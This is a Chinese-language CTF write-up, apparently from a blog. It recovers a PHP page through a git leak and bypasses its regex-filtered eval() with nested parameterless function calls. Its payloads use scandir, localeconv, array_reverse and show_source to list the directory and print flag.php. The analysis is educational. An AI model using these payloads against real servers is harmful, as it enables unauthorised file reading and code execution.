打开环境
这个界面很熟悉
看过我之前的博客关于git泄露的就知道
先去爆破一下目录
但是会发现没有什么进展,但我肯定它存在源码泄露
所以我直接猜想一下是git泄露
得到了index.php
真就离谱
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
代码审计:
eval函数执行我们的pyload
过滤了伪协议读取方式
(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
过滤了et|na|info|dec|bin|hex|oct|pi|log关键字。
根据源码我们知道flag在flag.php里面
所以进行payload构造
这里我们需要的知识点
scandir(’.’):扫描当前目录
localeconv() 函数
pos(),current():返回数组第一个值
payload:
?exp=print_r(scandir(current(localeconv())));
知道了flag是数组的倒数第二个元素
然后这里的读取函数可以用这些
highlight_file()
show_source()
file()
readfile()
其他的都被正则过滤掉了
所以payload
方法一:
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
这里next是指向下一个元素
array_reverse是数组反序
得到flag
方法二:
这里利用array_rand()函数:
array_rand — 从数组中随机取出一个或多个单元。但是他取出的是键,我们想要的是值,还要利用array_flip(),把键与值交换,这样就可以了:
?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));
这里是随机的,所以要刷新页面,这样就得到了flag.php,接下来就是读取文件。
希望这篇文章能够帮助你!